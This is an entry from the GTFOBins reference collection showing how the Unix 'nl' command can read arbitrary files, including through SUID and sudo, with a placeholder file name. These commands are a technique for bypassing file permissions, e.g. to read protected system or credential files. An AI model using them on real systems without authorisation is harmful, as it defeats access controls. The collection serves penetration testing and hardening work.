GTFOBins.github.io/_gtfobins/nl.md
2018-10-05 18:55:38 +01:00

17 lines
361 B
Markdown

---
description: The read file content is corrupted by a leading space added to each line.
functions:
file-read:
- code: |
LFILE=file_to_read
nl -bn -w1 -s '' $LFILE
suid:
- code: |
LFILE=file_to_read
./nl -bn -w1 -s '' $LFILE
sudo:
- code: |
LFILE=file_to_read
sudo nl -bn -w1 -s '' $LFILE
---